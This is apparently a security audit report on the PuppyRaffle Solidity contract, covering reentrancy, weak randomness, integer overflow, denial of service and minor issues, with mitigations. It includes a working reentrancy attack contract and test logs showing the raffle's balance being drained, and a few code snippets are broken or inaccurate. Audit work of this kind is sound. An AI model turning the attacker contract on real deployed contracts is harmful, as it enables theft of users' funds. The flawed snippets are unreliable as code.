Prepared by: mhmojtaba
Lead security researcher: mhmojtaba

- Audit Date: December 04, 2024

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT

Disclaimer

The `mhmojtaba` team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
src/
--- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas Optimizations	2
Total	16

Findings

[H-1] `PuppyRaffle::refund` function is not protected from reentrancy, and potentially can be exploited

Description: The `PuppyRaffle::refund` function is not protected from reentrancy, and potentially can be exploited. Attacker can call `PuppyRaffle::refund` function attack the contract and drain the contract balance as the function send the value and then change the state.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
```

```
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
        // @audit Reentrancy attack
>>>     payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: Once the attacker call the `PuppyRaffle::refund` function, the attacker can drain the contract balance before changing the state.

Proof of Concept:
Let's make a Attack smart contract and then add the following code to the `PuppyRaffleTest.t.sol` and test it:

▶ Attack Contract

```
contract Attacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 index;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        index = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(index);
    }

    function grabAllAssets() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(index);
        }
    }

    receive() external payable {
        grabAllAssets();
    }

    fallback() external payable {
        grabAllAssets();
```

```
    }
}
```

▶ testReentrancy

```
function test_Reentrancy() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        uint256 puppyRaffleBalanceBefore = address(puppyRaffle).balance;
        console.log("puppyRaffleBalanceBefore: ", puppyRaffleBalanceBefore);

        Attacker attacker = new Attacker(puppyRaffle);
        address attackUser = makeAddr("attacker");
        vm.deal(attackUser, 1 ether);
        uint256 attackerBalanceBefore = address(attacker).balance;
        console.log("attackerBalanceBefore: ", attackerBalanceBefore);

        // attack
        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();
        uint256 puppyRaffleBalanceAfter = address(puppyRaffle).balance;
        console.log("puppyRaffleBalanceAfter: ", puppyRaffleBalanceAfter);
        uint256 attackerBalanceafter = address(attacker).balance;
        console.log("attackerBalanceafter: ", attackerBalanceafter);
}
```

now you will see the logs:

```
puppyRaffleBalanceBefore: 4000000000000000000
attackerBalanceBefore: 0
puppyRaffleBalanceAfter: 0
attackerBalanceafter: 5000000000000000000
```

Recommended Mitigation: There are some recommendations:

1. use `Openzeppelin's ReentrancyGuard modifier`.
2. use a Lock pattern to prevent reentrancy attacks.

```
+  bool private locked;
function refund(uint256 playerIndex) public {
+       require(!locked, "PuppyRaffle: Reentrancy detected");
+       locked = true;
        address playerAddress = players[playerIndex];
```

```
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
        // @audit Reentrancy attack
        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
+       locked = false;
}
```

3. use `CEI` Method in your code base:

```
function refund(uint256 playerIndex) public {
        // check
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
        // effect
+       players[playerIndex] = address(0);
-       payable(msg.sender).sendValue(entranceFee);

        // interaction
-       players[playerIndex] = address(0);
+       payable(msg.sender).sendValue(entranceFee);
        emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` function allows users to manipulate the winner and collext `rarest` puppy.

Description: In a couple of places in `PuppyRaffle::selectWinner` function, the random number is generated using the `block.timestamp` and `block.difficulty` variables. These variables are not secure and can be manipulated by the attacker.

notes: This means user could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle. winning the money and collecting the `rarest` puppy.

Proof of Concept:

1. User can mine/manipulate `msg.sender` value to result in their address being the winner.
2. Users can revert the `PuppyRaffle::selectWinner` function if they don't like the result or selected puppy.

3. Validator can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict how and when to use them. See solidity blog on prevrandao.

Recommended Mitigation: The best way to fix this issue is to use a secure random number generator like `chainlink VRF` or `chainlink VRF V2`.

[H-3] Integer overflow in `PuppyRaffle::totalFees` looses fees

Description: In solidity version prior to `0.8.0` the `uint` type was not bounded. This means that if you add two numbers and the result is greater than the maximum value of the type, the result will wrap around and become a very small number. This can cause loosing funds.

```
uint64 a = type(uint64).max;
// a = 18446744073709551615
a  = a + 1;
// a = 0
```

Impact: In `PuppyRaffle::selectWinner` function `totalFees` collect fees for `FeeAddress` to withdraw later. However, if the `totalFees` overflows, the fees will be lost and the `FeeAddress` might get the incorrect amount of fees.

Proof of Concept:

1. at first 4 person enter the raffle and the `totalFees` is 800000000000000000.
2. then 89 more person enter the raffle and the `totalFees` is 153255926290448384.
3. the `totalFees` must be 18600000000000000000.
4. But the `totalFees` is 153255926290448384 and the amount of fees lost is 18446744073709551616.

▶ PoC

```
function test_Overflow() public {
        uint64 totalFees;
        uint256 totalAmountCollected;
        uint256 prizePool;
        uint256 fee;
        uint256 playersLength;
        // enter 4 first players
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        playersLength = players.length;
        puppyRaffle.enterRaffle{value: entranceFee * playersLength}(players);

        // calculate fees
        totalAmountCollected = playersLength * entranceFee;
        fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
```

```
        console.log("totalFees after 4 enter",
uint256(totalFees));//800,000,000,000,000,000

        // enter 90 more players
        address[] memory players2 = new address[](89);
        for (uint256 i = 0; i < 89; i++) {
            players2[i] = address(i + 10);
        }
        playersLength = players2.length;
        puppyRaffle.enterRaffle{value: entranceFee * playersLength}(players2);

        // calculate fees
        totalAmountCollected = playersLength * entranceFee;
        fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
        console.log("totalFees after 89 enter",
uint256(totalFees));//153,255,926,290,448,384
}
```

finnaly the `FeeAddress` will not be able to withdraw the correct amount of fees due to the require statement in `PuppyRaffle::withdrawFees` function.

Additionally, forcing send ETH using `selfdestruct` can cause the same issue as require statement in `PuppyRaffle::withdrawFees` function will not be true and the `FeeAddress` will not be able to withdraw the fees.

Recommended Mitigation: There are a few ways to fix this issue:

1. use a newer version of solidity.
2. use a `safeMath` library.
3. Use a bounded type like `uint256` instead of `uint64`.
4. renove the balance check in `PuppyRaffle::withdrawFees` function.

```
-    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
```

[M-1] Looping through players to check duplicates `PuppyRaffle::enterRaffle`, is potential denial of services DOS attack, makes the hugh gas cost for the contract

Description: The `PuppyRaffle::enterRaffle` loops through `players` to check for duplicates players. However, the longer the `players` array is, the contract costs more gas to run `PuppyRaffle::enterRaffle` function and it means the gas costs lower for the earlier players and will be higher for players who enter later dramatically. Every additional address added to array, is additional loop for check duplicates.

```
for (uint256 i = 0; i < players.length - 1; i++) {
            //@audit Denail-of-services
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
```

```
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact: The gas cost for the raffle entrance get increased as more players enter. that discourage the later player to enter the raffle.

An attacker can increase the length of players array so big and no more player will enter the raffle and that guarantees themselves to win easily.

Proof of Concept:
add the following code to the `PuppyRaffleTest.t.sol` and test it:

▶ Code

```
function test_DOS() public {
        vm.txGasPrice(1);
        // enter with first 100 players
        address[] memory players = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            players[i] = address(i);
        }

        // calculate gas used
        uint256 gasStarts = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsed = (gasStarts - gasEnd) * tx.gasprice;
        console.log("gasUsed", gasUsed);

        // enter second 100 players
        address[] memory players2 = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            players2[i] = address(i + 100);
        }

        // calculate gas used
        uint256 gasStarts2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players2);
        uint256 gasEnd2 = gasleft();
        uint256 gasUsed2 = (gasStarts2 - gasEnd2) * tx.gasprice;
        console.log("gasUsed2", gasUsed2);

        // enter third 100 players
        address[] memory players3 = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            players3[i] = address(i + 200);
        }
```

```
        // calculate gas used
        uint256 gasStarts3 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players3);
        uint256 gasEnd3 = gasleft();
        uint256 gasUsed3 = (gasStarts3 - gasEnd3) * tx.gasprice;
        console.log("gasUsed3", gasUsed3);
        assert(gasUsed < gasUsed2);
        assert(gasUsed2 < gasUsed3);
    }
```

Recommended Mitigation: There are a few recommendations:

1. check if is it worthy to check for duplicates, as a user can make many wallets and use them to enter ?
2. consider use mapping to check for that a user has already entered or not:

```
- for (uint256 i = 0; i < players.length - 1; i++) {
            //@audit Denail-of-services
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }

+   mapping(address => bool) private alreadyEntered;
+   require(!alreadyEntered[msg.sender] , "user has already entered!")
```

3. Alternatively, you can use Openzeppelin's `EnumerableSet` library

[M-2] Unsafe casting

Description: In the `PuppyRaffle::selectWinner` function, the `fee` casted from `uint256` to `uint64` and then it is added to the `fee` variable. as the type `uint256` can hold a bigger value than `uint64`, the `fee` variable will be able to lose amount of value by casting unsafe.

Impact: The `fee` variable will be able to lose amount of value by casting unsafe.

Proof of Concept: The same of overflowing in uint256 to uint64 casting. If the number of players getting higher to the point that the fee get bigger than `uint64` maximum value, the `fee` variable will be able to lose amount of value by casting unsafe.
To test that you can see POC in the [H-3] Integer Overflows, Proof of Concept section.

Recommended Mitigation: The best solution to use uint256 instead of uint64 and use maximum value of uint.

[M-3] smart contract wallets raffle winners without `fallback` and `receive` function can't receive ETH nad will get revert

Description: In the `PuppyRaffle::selectWinner` function, if the winner is a smart contract wallet, it will not be able to receive the prize if they do not have a `fallback` or `receive` function. so that might revert the transaction. So the raffle will not be able to restart.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making the raffle to reset difficultly.
The true winner will not be able to receive the prize.

Proof of Concept:

1. The `PuppyRaffle` start and some wallets enter the raffle.
2. The winner is a smart contract wallet that does not have a `fallback` or `receive` function.
3. the lottery ends.
4. the `PuppyRaffle::selectWinner` function will revert. although the lottery is ended, the `PuppyRaffle::selectWinner` function will revert many times, making the raffle to reset difficultly.

Recommended Mitigation:

1. The protocol could prevent the smart contract wallets from entering the raffle.(Not recommended)
2. Create a mapping address => payout so winners can pull their prize out themselves with a `claim` function.

[L-1] `PuppyRaffle::getActivePlayerIndex` returns zero for non-active players, but it's also will be zero for the first player.

Description: In the `PuppyRaffle::getActivePlayerIndex` function, the `players` array is iterated to find the index of the active player. The `players` array has indexes from zero. So the first player will have an index of zero. But the `getActivePlayerIndex` function will return zero for non-active players. So the first player will have an index of zero and will be considered as a non-active player.

```
function getActivePlayerIndex(
        //audit what if the player's index is 0?
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
>>>     return 0;
    }
```

Impact: The first player will be considered as a non-active player and will not be able to refund their entrance fee.

Proof of Concept:

1. user enter `PuppyRaffle::enterRaffle` function with a valid entrance fee as a first player.
2. function `PuppyRaffle::getActivePlayerIndex` will return zero for the user.

3. user thinks they have not entered to the raffle and will lose their entrance fee.

Recommended Mitigation:
The easiest reccommendation is to revert the function if the player is not active instead of returning zero.

Gas

[G-1] Unchanged state variables should be declared `immutable` or `constant`

Reading from Storage is more expensive than reading from `immutables`. If a state variable is not modified, it should be declared `immutable` or `constant`.

▶ 1 Found Instances

- `PuppyRaffle.sol::raffleDuration` should be declared `immutable`.
- `PuppyRaffle.sol::commonImageUri` should be declared `constant`.
- `PuppyRaffle.sol::legendaryImageUri` should be declared `constant`.
- `PuppyRaffle.sol::rareImageUri` should be declared `constant`.

[G-2] Loop condition contains `state_variable.length` that could be cached outside.

Cache the lengths of storage arrays if they are used and not modified in for loops.

▶ 4 Found Instances

- Found in src/PuppyRaffle.sol Line: 106

```
        for (uint256 i = 0; i < players.length - 1; i++) {
```

```
+       uint256 PlayerLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i <  - 1; i++) {
+       for (uint256 i = 0; i < PlayerLength - 1; i++) {
```

- Found in src/PuppyRaffle.sol Line: 108

```
            for (uint256 j = i + 1; j < players.length; j++) {
```

- Found in src/PuppyRaffle.sol Line: 144

```
        for (uint256 i = 0; i < players.length; i++) {
```

- Found in src/PuppyRaffle.sol Line: 236

```
        for (uint256 i = 0; i < players.length; i++) {
```

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

[I-2]: Using an old version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation:
Deploy with a recent version of Solidity `(at least 0.8.0)` with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: checking for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 77

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 228

```
        feeAddress = newFeeAddress;
```

[I-4]: `PuppyRaffle::SelectWinner` function should follow the `Check-Effects-Interactions::CEI` pattern

It's best to keep code clean and follow CEI pattern.

```
-       (bool success, ) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");

+       _safeMint(winner, tokenId);
```

```
+        (bool success, ) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");

-        _safeMint(winner, tokenId);
```

[I-5]: Use magic numbers is discouraged

It can be confusing to see number literals in the code. and it's much readable to use named constants instead.

for example:

```
-       uint256 prizePool = (totalAmountCollected * 80) / 100;
-       uint256 fee = (totalAmountCollected * 20) / 100;
```

instead, you could use:

```
    uint256 private constant prizePoolPercentage= 80;
    uint256 private constant feePercentage= 20;
    uint256 private constant poolPersicion= 20;
```

[I-6]: State checnges are missing events

Events are missing for state changes.

[I-7]: `PuppyRaffle::_isActivePlayer` function is a useless function and should be removed.